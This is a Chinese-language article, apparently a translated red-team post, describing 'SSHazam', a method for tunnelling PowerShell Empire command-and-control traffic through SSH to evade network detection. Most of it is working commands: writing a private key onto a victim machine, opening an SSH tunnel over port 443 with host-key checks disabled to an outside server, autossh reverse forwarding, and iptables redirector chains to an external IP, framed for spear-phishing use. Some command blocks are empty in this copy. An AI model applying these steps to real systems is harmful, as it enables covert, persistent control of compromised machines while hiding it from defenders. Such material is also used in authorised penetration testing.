SSHazam:在SSH隧道内隐藏C2通信
Carrie Roberts
SSHazam是一种通过标准SSH隧道运行任意C2工具以规避网络检测的方法。本文示例使用PowerShell Empire,其通过SSH连接将本地端口转发至远程Empire服务器,使得网络流量仅表现为SSH通信。示例中受害系统为OS X,但相同技术可在Windows上使用Putty工具集的Plink.exe实现。
基础配置与密钥管理
-
SSH隧道配置:
受害系统配置SSH隧道监听端口5430,并将接收数据转发至Empire服务器。Empire服务器需在本地相同端口(127.0.0.1:5430)运行监听。为增强隐蔽性,SSH服务监听端口改为443(需修改SSH配置文件及云服务商防火墙规则)。 -
密钥部署:
需将私钥复制至受害系统,并将对应公钥添加至Empire服务器的authorized_keys
文件。以下命令示例创建私钥文件(内容已截断):1 2 3 4 5 6 7
mkdir ~/.ssh chmod 700 ~/.ssh echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key # ... 密钥内容截断 ... echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key chmod 600 ~/.ssh/.do.key
-
权限限制:
为防止私钥滥用,可在Empire服务器修改/etc/passwd
,将用户登录shell设置为/bin/false
:1
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
隧道建立与C2配置
执行以下命令建立SSH隧道:
|
|
配置PowerShell Empire监听127.0.0.1:5430
,即使使用域前置等复杂配置仍可生效。
高级重定向架构
为保护敏感数据不被存储在第三方云主机,可通过多级重定向器转发流量:
-
受害系统命令:
1
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:127.0.0.1:5431
-
内部系统命令(需安装autossh):
1
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 [email protected]
-
IPTables规则配置:
- Empire重定向器规则:
1 2 3
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432 iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE sysctl -w net.ipv4.conf.all.route_localnet=1
- 最终重定向器规则:
1 2
sysctl -w net.ipv4.conf.all.route_localnet=1 iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
- Empire重定向器规则:
监控与告警
通过PAM模块配置SSH连接成功时触发Slack告警脚本(/etc/pam.d/sshd
):
|
|
脚本示例:
|
|
注意事项
- 复杂架构下需为每个受害系统分配独立端口及用户/私钥组合,适用于鱼叉钓鱼场景。
- 技术核心:通过SSH加密隧道完全隐藏C2流量,避免触发网络签名检测。